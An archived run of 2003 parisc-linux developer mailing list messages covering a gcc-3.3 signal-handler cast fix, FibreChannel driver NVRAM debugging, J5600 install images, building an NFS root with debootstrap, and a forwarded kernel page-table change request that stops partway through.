List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18030

On Fri, Mar 21, 2003 at 01:44:28PM +0100, Joel Soete wrote:
> I test following work-around against 2.4.20-pa32 with latest dpkg gcc-3.3
> (3.3-0pre2) and it boot well know:
> @@ -489,7 +489,11 @@
> +#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
> >= 1))
> +		if (ka->sa.sa_handler == (void *)SIG_IGN) {
> +#else
>  		if (ka->sa.sa_handler == SIG_IGN) {
> +#endif

ugh, this is foolish.  You should be doing:

-		if (ka->sa.sa_handler == SIG_IGN) {
+		if (ka->sa.sa_handler == (void *)SIG_IGN) {

no ifdefs!

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 21 Mar 2003 16:07:32 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3E689FC400004E43@ocpmta1.freegates.net>
References: <20030321133624.GK14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622315 23484 80.91.229.3 (22 Nov 2014 02:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 08:07:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA0BA4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 08:07:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18wO7I-00035q-00; Fri, 21 Mar 2003 16:07:32 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Mar 2003 16:07:32 +0100
In-Reply-To: <20030321133624.GK14520@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18031

>> I test following work-around against 2.4.20-pa32 with latest dpkg gcc-3.3
>> (3.3-0pre2) and it boot well know:
>> @@ -489,7 +489,11 @@
>> +#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
>> >= 1))
>> +		if (ka->sa.sa_handler == (void *)SIG_IGN) {
>> +#else
>>  		if (ka->sa.sa_handler == SIG_IGN) {
>> +#endif
>
>ugh, this is foolish.  You should be doing:
>
>-		if (ka->sa.sa_handler == SIG_IGN) {
>+		if (ka->sa.sa_handler == (void *)SIG_IGN) {
>
>no ifdefs!
>
Willy, I trust you (not me because I not tested with gcc-3.2 neither LP64)

Thanks for your attention,
    Joel

PS: Next time I will try to pay attention to cc list :)

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Fri, 21 Mar 2003 16:24:38 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <3E689FC400004E7C@ocpmta1.freegates.net>
References: <3E68A39600001FFE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622316 23485 80.91.229.3 (22 Nov 2014 02:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:56 +0000 (UTC)
Cc: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 08:24:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1ED34829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 08:24:46 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18wONv-0002Sy-00; Fri, 21 Mar 2003 16:24:43 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Mar 2003 16:24:38 +0100
In-Reply-To: <3E68A39600001FFE@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18032

Hi all,
>
>Thanks a lot for all those info. 
>
>Unfortunately I have no free time to help more on this driver (and also
not
>enough knowledge for the moment: even thought time and work could solve
this
>pb :) ).
>
Never the less I have a quick look and add some printk():
...
unsigned long cpqfcTS_ReadNVRAM( void* GPIOin, void* GPIOout , USHORT count,
	UCHAR *buf )
{
  unsigned short i;

  if( !( tl_i2c_tx_start(GPIOin, GPIOout) ))
    return FALSE;

    printk(">>> %s step1\n", __FUNCTION__);

  // Select the NVRAM for "dummy" write, to set the address
    printk(">>> GPIOout %p\n", GPIOout);
    printk(">>> SLAVE_WRITE_ADDRESS: %d\n", SLAVE_WRITE_ADDRESS);

  tl_i2c_tx_byte( GPIOout , SLAVE_WRITE_ADDRESS );
  if ( !tl_i2c_rx_ack(GPIOin, GPIOout ) )
    return( FALSE );

    printk("%s step2\n", __FUNCTION__);
...

and notice that the ReadNVRAM failed earlier (dmesg):

...
 scsi_register allocating 6640 bytes for FC HBA
  HBA found!
  HostAdapter->PciDev->irq = 320
  PciDev->baseaddress[0]= 0
  PciDev->baseaddress[1]= 30000
  PciDev->baseaddress[2]= 30100
  PciDev->baseaddress[3]= ffffffff88040000
  cpqfcHBAdata->fcChip.Registers. :
    IOBaseL = 30000
    IOBaseU = 30100
 ioremap'd Membase: ffffffff88040000
    SFQconsumerIndex.address = ffffffff88040058
    ERQproducerIndex.address = ffffffff88040008
    TYconfig.address = ffffffff88040184
    FMconfig.address = ffffffff880401c0
    FMcontrol.address = ffffffff880401c4
  Requesting 255 I/O addresses @ 30000
  Requesting 255 I/O addresses @ 30100
 ResetTachyon
  HBA Tachyon RevId 2.3
Allocating 129024 for 576 Exchanges @ 000000008d5c0000
Allocating 112904 for LinkQ @ 000000008d540000 (576 elements)
Allocating 106504 for TachSEST for 512 Exchanges
  cpqfcTS: writing IMQ BASE 500000h    PI 504000h
  cpqfcTS: SEST 0000000048b00000(virt): Wrote base 520000h @ ffffffff88040140
>>> cpqfcTS_ReadNVRAM step1
>>> GPIOout ffffffff88040188
>>> SLAVE_WRITE_ADDRESS: 160
cpqfcTS: NVRAM read failed
 WARNING! HBA NVRAM WWN read failed - make alias
  WWN 500723E644556677
  Waiting for broken Brocade switch...
 scsi_register allocating 6640 bytes for FC HBA
  HBA found!
  HostAdapter->PciDev->irq = 896
  PciDev->baseaddress[0]= 0
  PciDev->baseaddress[1]= c0000
  PciDev->baseaddress[2]= c0100
  PciDev->baseaddress[3]= ffffffffd4040000
  cpqfcHBAdata->fcChip.Registers. :
    IOBaseL = c0000
    IOBaseU = c0100
 ioremap'd Membase: ffffffffd4040000
    SFQconsumerIndex.address = ffffffffd4040058
    ERQproducerIndex.address = ffffffffd4040008
    TYconfig.address = ffffffffd4040184
    FMconfig.address = ffffffffd40401c0
    FMcontrol.address = ffffffffd40401c4
  Requesting 255 I/O addresses @ c0000
  Requesting 255 I/O addresses @ c0100
 ResetTachyon
  HBA Tachyon RevId 2.3
Allocating 129024 for 576 Exchanges @ 000000008d4c0000
Allocating 112904 for LinkQ @ 0000000048ee0000 (576 elements)
Allocating 106504 for TachSEST for 512 Exchanges
  cpqfcTS: writing IMQ BASE 640000h    PI 644000h
  cpqfcTS: SEST 000000008d5a0000(virt): Wrote base 660000h @ ffffffffd4040140
>>> cpqfcTS_ReadNVRAM step1
>>> GPIOout ffffffffd4040188
>>> SLAVE_WRITE_ADDRESS: 160
cpqfcTS: NVRAM read failed
 WARNING! HBA NVRAM WWN read failed - make alias
  WWN 500725B644556677
  Waiting for broken Brocade switch...
 scsi_register allocating 6640 bytes for FC HBA
  HBA found!
  HostAdapter->PciDev->irq = 960
  PciDev->baseaddress[0]= 0
  PciDev->baseaddress[1]= d0000
  PciDev->baseaddress[2]= d0100
  PciDev->baseaddress[3]= ffffffffd8040000
  cpqfcHBAdata->fcChip.Registers. :
    IOBaseL = d0000
    IOBaseU = d0100
 ioremap'd Membase: ffffffffd8040000
    SFQconsumerIndex.address = ffffffffd8040058
    ERQproducerIndex.address = ffffffffd8040008
    TYconfig.address = ffffffffd8040184
    FMconfig.address = ffffffffd80401c0
    FMcontrol.address = ffffffffd80401c4
  Requesting 255 I/O addresses @ d0000
  Requesting 255 I/O addresses @ d0100
 ResetTachyon
  HBA Tachyon RevId 2.3
Allocating 129024 for 576 Exchanges @ 00000000485c0000
Allocating 112904 for LinkQ @ 00000000487a0000 (576 elements)
Allocating 106504 for TachSEST for 512 Exchanges
  cpqfcTS: writing IMQ BASE 6C0000h    PI 6C4000h
  cpqfcTS: SEST 0000000048020000(virt): Wrote base 6E0000h @ ffffffffd8040140
cpqfcTS_ReadNVRAM step1
>>> GPIOout ffffffffd8040188
>>> SLAVE_WRITE_ADDRESS: 160
>>> cpqfcTS: NVRAM read failed
 WARNING! HBA NVRAM WWN read failed - make alias
  WWN 5007278544556677
  Waiting for broken Brocade switch...
scsi3 : Compaq FibreChannel HBA Tachyon Chip/Board Ver??: WWN 500723E644556677
 on PCI bus 32 device 0x1028 irq 320 IObaseL 0x30000, MEMBASE 0x88040000
PCI bus width 64 bits, bus speed 66 MHz
FCP-SCSI Driver v2.1.1
GBIC detected: NONE!  LPSM 0h Monitor
scsi4 : Compaq FibreChannel HBA Tachyon Chip/Board Ver??: WWN 500725B644556677
 on PCI bus 208 device 0x1028 irq 896 IObaseL 0xc0000, MEMBASE 0xd4040000
PCI bus width 64 bits, bus speed 66 MHz
FCP-SCSI Driver v2.1.1
GBIC detected: NONE!  LPSM 0h Monitor
scsi5 : Compaq FibreChannel HBA Tachyon Chip/Board Ver??: WWN 5007278544556677
 on PCI bus 224 device 0x1028 irq 960 IObaseL 0xd0000, MEMBASE 0xd8040000
PCI bus width 64 bits, bus speed 66 MHz
FCP-SCSI Driver v2.1.1
GBIC detected: NONE!  LPSM 0h Monitor

So it seems that   tl_i2c_tx_byte() failled?

Is GPIout are OK?

I have not any detailed doc about this card, so any advise is well come.

Thanks again,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP J5600
Date: Fri, 21 Mar 2003 17:06:58 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <24D5869E-5BB7-11D7-9B6B-0030656F07A2@esiee.fr>
References: <20030321121432.GI14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622316 23488 80.91.229.3 (22 Nov 2014 02:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:56 +0000 (UTC)
Cc: Stefan Witzel <stefan.witzel@zvw.uni-goettingen.de>,
	PARISC-LINUX <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 09:07:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 605164829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 09:07:01 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7D2D549D94; Fri, 21 Mar 2003 17:06:59 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id D37D049C3A; Fri, 21 Mar 2003 17:06:58 +0100 (CET)
In-Reply-To: <20030321121432.GI14520@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18033

Le vendredi, 21 mar 2003, =E0 13:14 Europe/Paris, Matthew Wilcox a =E9crit=
 :

> On Fri, Mar 21, 2003 at 12:52:58PM +0100, Stefan Witzel wrote:
>> Hello,
>>
>> I try to install parisc-linux on a J5600 workstation. When the
>> welcome screen from Debian appears I press the enter key
>> (german keyboard, USB) to continue but there is no reaction.
>>
>> So I looked in the mailing list archives and found that there
>> are/were some problems with J5600 workstations.
>>
>> What is the current state? Are J5600 supported?
>
> Yes, but USB wasn't in Debian 3.0.  Back in November, Grant replied to=20=

> someone with a similar problem:
>
>> I suspect the kernel in debian stable might just be too old.
>> Can you try newer net-install images from ESIEE?
>>         (ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/)
>>
>> FWIW, at least three developers are *using* C3000 including myself.
>> But I've never cold installed using the debian since I've had bits
>> on this machine since well before any ISOs were available.
>> Probably would be a good exercise....
>
> No reply was received indicating whether or not this worked, so I'm
> reluctant to add a FAQ entry for it.  Please let us know how you get =
on
> with this.
>
http://pateam.esiee.fr/cd-images/testing/
these are the latest ones (I know I should put them on dsl2, have to=20
script that somehow).

They do work.
this is the same problem we had with B2000 and B2600 here, and we=20
received numerous confirmations
that it worked for J as well.

This should be a FAQ, i'll add it later if nobody does.
See the boot howto for details:
http://pateam.esiee.fr/doc.html

HTH


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Out of memory problem
Date: Fri, 21 Mar 2003 10:05:02 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030321170502.GA8719@dsl2.external.hp.com>
References: <20030321000822.6a0123e0.markus@schabi.de> <20030321065534.GA21566@dsl2.external.hp.com> <20030321092201.5dcedd9f.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622316 23492 80.91.229.3 (22 Nov 2014 02:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 10:05:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9A1F34829; Fri, 21 Mar 2003 10:05:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030321092201.5dcedd9f.markus.schaber@student.uni-ulm.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18034

On Fri, Mar 21, 2003 at 09:22:01AM +0100, Markus Schaber wrote:
> I don't want to use the machine for serious work, it's just as a proof
> of concept.
> 
> Maybe I'll see whether I can upgrade the machine with more memory...

that would be a good idea - even for proof of concept.

> > See www.parisc-linux.org.
> 
> I was there and didn't find a pre-build net-boot image that uses NFS
> root (you see, I wanted to avoid the need of an cross-compile
> environment), but I'll try again next week (I'm away over the weekend).

The Net install ISOs are what you want. See
	http://www.parisc-linux.org/software/install.html

Using is NFS Root is not parisc specific - see debian.org for documentation.
There's also nfsroot.txt with every kernel source tree:
	http://cvs.parisc-linux.org/linux/Documentation/nfsroot.txt?rev=HEAD&content-type=text/vnd.viewcvs-markup

Offhand I don't know where to find a relatively current parisc NFS Root.
You could try to copy the contents of the install CD to a local directory
on an NFS server, hack that up a bit, and export the result.

grant


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Fri, 21 Mar 2003 22:34:57 +0100
Organization: ESIEE
Lines: 28
Approved: news@gmane.org
Message-ID: <20030321223457.72e980a3.varenet@esiee.fr>
References: <20030321000822.6a0123e0.markus@schabi.de>
	<20030321065534.GA21566@dsl2.external.hp.com>
	<20030321092201.5dcedd9f.markus.schaber@student.uni-ulm.de>
	<20030321170502.GA8719@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622317 23498 80.91.229.3 (22 Nov 2014 02:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:57 +0000 (UTC)
Cc: markus.schaber@student.uni-ulm.de,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 14:35:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDD464829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 14:35:07 -0700 (MST)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.8) with SMTP id h2LLYvxY000483;
	Fri, 21 Mar 2003 22:34:59 +0100
In-Reply-To: <20030321170502.GA8719@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.8.10claws13 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18035

On Fri, 21 Mar 2003 10:05:02 -0700
grundler@dsl2.external.hp.com (Grant Grundler) wrote:

> On Fri, Mar 21, 2003 at 09:22:01AM +0100, Markus Schaber wrote:
> > I don't want to use the machine for serious work, it's just as a proof

> Offhand I don't know where to find a relatively current parisc NFS Root.
> You could try to copy the contents of the install CD to a local
> directory on an NFS server, hack that up a bit, and export the result.
I think that if you have a debian box handy, there's a far more simple way
to create a root tree ready to export via NFS:

# debootstrap --arch=hppa <release> <export_folder> <debian_mirror>

the --arch switch is only necessary when preparing a root for another arch
than the native one.

for me it was:

# debootstrap --arch=hppa woody foo_root/ http://ftp.de.debian.org/debian

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [akpm@digeo.com: arch changes for file-offset-in-pte's]
Date: Sat, 22 Mar 2003 01:20:10 +0000
Lines: 129
Approved: news@gmane.org
Message-ID: <20030322012010.GA31008@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622317 23501 80.91.229.3 (22 Nov 2014 02:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 18:20:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DF5E4829
	for <parisc-linux@parisc-linux.org>; Fri, 21 Mar 2003 18:20:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18wXgA-000166-S3
	for parisc-linux@parisc-linux.org; Sat, 22 Mar 2003 01:20:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18036

FYI.  jsm, any comments?

----- Forwarded message from Andrew Morton <akpm@digeo.com> -----

Envelope-to: willy@ftp.uk.linux.org
Delivery-date: Fri, 21 Mar 2003 23:52:14 +0000
Date: Fri, 21 Mar 2003 17:56:26 -0800
From: Andrew Morton <akpm@digeo.com>
To: "David S. Miller" <davem@redhat.com>, paulus@au.ibm.com,
        benh@kernel.crashing.org, rth@twiddle.net, davidm@hpl.hp.com,
        ralf@linux-mips.org, schwidefsky@de.ibm.com,
        Russell King
 <rmk@arm.linux.org.uk>, bjornw@axis.com,
        geert@linux-m68k.org, Matthew
 Wilcox <willy@debian.org>,
        gniibe@m17n.org, linux-sh@m17n.org, jdike@karaya.com,
        uclinux-v850@lsi.nec.co.jp
Cc: Ingo Molnar <mingo@elte.hu>, linux-mm@kvack.org
Subject: arch changes for file-offset-in-pte's
X-Mailer: Sylpheed version 0.8.10 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-OriginalArrivalTime: 21 Mar 2003 23:51:17.0829 (UTC) FILETIME=[C3FA4750:01C2F004]


hi,

I'd like to submit Ingo's remap_file_pages() enhancements soon.  His patch
allows pages in "nonlinear" mappings to be reestablished by the kernel's
pagefault handler.

It does this by embedding the page's ->index into the pte which wants to map
the page.  This is arch-specific, and I only have ia32, ppc64 and x86_64 done.

So if&when this hits the tree, it will break other architectures.  It's a
five-minute-fix.

Four things need to be provided:

pte_t pgoff_to_pte(unsigned long pgoff)

    Return a pte_t which contains as many of the lower bits of pgoff as
    you can feasibly pack into a pte.

    You'll probably need to reserve at least two bits - one for
    not-present and one to say "this is a pte_file pte".

unsigned long pte_to_pgoff(pte_t pte)

    Extract the unsigned long from a pte.

int pte_file(pte_t)

    Return true if the pte is a "file pte".  This is where you'll need to
    use the magical reserved bit to distinguish this from a swapped out pte.

PTE_FILE_MAX_BITS	(a constant)

    Tells the kernel how many bits of the file offset the architecture is
    capable of placing in the pte, via pgoff_to_pte().  ia32 sets this to 29
    in non-PAE mode, 32 in PAE mode (CONFIG_HIGHMEM64G)


As an example, here is the x86_64 implementation (the comment next to
